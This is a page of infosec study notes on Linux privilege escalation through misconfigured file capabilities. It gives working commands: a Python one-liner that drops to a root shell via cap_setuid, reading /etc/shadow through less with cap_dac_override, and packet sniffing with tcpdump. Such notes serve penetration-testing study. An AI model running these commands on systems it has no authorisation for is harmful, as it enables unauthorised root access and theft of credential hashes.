> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/capabilities.md).

# Capabilities

Linux capabilities break down root privileges into fine-grained units, allowing binaries to execute specific privileged operations **without** the full setuid root permission. Misconfigured capabilities can be leveraged for **privilege escalation**.

***

### Enumerating File Capabilities

To recursively list all files with capabilities:

```bash
getcap -r / 2>/dev/null
```

#### Sample Output:

```
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
```

#### Format:

```
<binary_path> = <capability><flags>
```

***

### Common Dangerous Capabilities

| Capability            | Description                                        | Risk / Exploitation Example                       |
| --------------------- | -------------------------------------------------- | ------------------------------------------------- |
| `cap_setuid`          | Change effective UID                               | Escalate to root using `setuid(0)` in code        |
| `cap_net_raw`         | Use raw sockets                                    | Sniff network traffic or open ICMP sockets        |
| `cap_sys_admin`       | Broad administrative privileges                    | Practically equivalent to full root access        |
| `cap_dac_override`    | Bypass file read/write permission checks           | Read protected files like `/etc/shadow`           |
| `cap_dac_read_search` | Bypass file read and directory search restrictions | Read sensitive files without standard permissions |

***

## Exploiting Capabilities

### `cap_setuid+ep` — Escalate to Root via Python

If the binary `/usr/bin/python3.8` has the following capability:

```bash
getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid+ep
```

You can exploit it with:

```bash
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

Result: A root shell.

***

### `cap_dac_override+ep` — Read Protected Files

If a binary like `less` has:

```bash
getcap /usr/bin/less
/usr/bin/less = cap_dac_override+ep
```

You can read files like `/etc/shadow`:

```bash
/usr/bin/less /etc/shadow
```

***

### `cap_net_raw+ep` — Sniff Network Traffic

If a binary like `tcpdump` has:

```bash
getcap /usr/bin/tcpdump
/usr/bin/tcpdump = cap_net_raw+ep
```

You can capture packets without needing full root:

```bash
/usr/bin/tcpdump -i eth0
```